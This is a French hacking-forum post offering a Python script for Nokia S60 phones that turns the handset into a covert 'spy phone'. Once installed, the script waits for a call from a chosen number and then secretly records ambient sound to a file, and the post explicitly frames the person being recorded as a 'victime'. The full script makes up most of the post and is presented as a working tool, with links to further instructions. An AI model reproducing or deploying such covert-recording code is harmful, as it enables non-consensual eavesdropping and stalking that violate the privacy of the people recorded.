CONNEXION Connexion INSCRIPTION
Transformer un Nokia S60 en téléphone espion « HackBBS

Transformer un Nokia S60 en téléphone espion

Voici un script python pour transformer en téléphone espion les nokia qui seront compatible (S60). Le principe est interessant, et ce script vous sera peut être utile pour vous lancer dans ce type de développement ^^

Une fois installé, ce script répond à un appel et enregistre le bruit ambiant sans intervention de la victime.

import appuifw

import e32
import logs
import audio
import telephone
from e32db import format_time
from time import *

def recording():
try:
global S
formatted_time = format_time(time()).replace(’:',”).replace(’/',”).replace(’ ‘,”)
filename = u’e:\\kuku_recording_’ + formatted_time + ‘.wav’
S=audio.Sound.open(filename)
S.record()
print u’Recording ‘ + filename
except:
print ‘Error.’

def handleCall((callState, number)):
#callerNum = c.get()
global callerOK
global caller

if callState == telephone.EStatusRinging :
if number == caller :
print u’Caller (’ + number + ‘) recognized, waiting for hanging up…’
callerOK = 1
else :
print u’(’ + number + ‘) unknown caller.’
callerOK = 0
elif callState == telephone.EStatusDisconnecting :
print u’Disconnecting…’
if callerOK == 1 :
recording()

def closing():
try:
global S
S.stop()
S.close()
print u’Stopped.’
except:
print u’Nothing to stop.’

def quit():
script_lock.signal()
# appuifw.app.set_exit()

appuifw.app.exit_key_handler = quit
appuifw.app.menu = [(u"Stop", closing)]
appuifw.app.title = u’KuKu!’
#c = appuifw.Text()
#appuifw.app.body = c

print u’KuKu! - (c) J@mBeL.net’
global caller
caller = appuifw.query(u’Enter phone number: ‘, ‘text’)
telephone.call_state(handleCall)

script_lock = e32.Ao_lock()
script_lock.wait()

Pour information, jambelnet à réalisé un mini howto expliquant comment transformer vos scripts python en application pour symbian OS (cf http://jambelnet.blogspot.com/search/label/Mobile)

Plus d’informations à cette adresse: http://jambelnet.blogspot.com/2008/06/spy-phone-python-script-for-s60.html

Tags: , , , , ,

Leave a Reply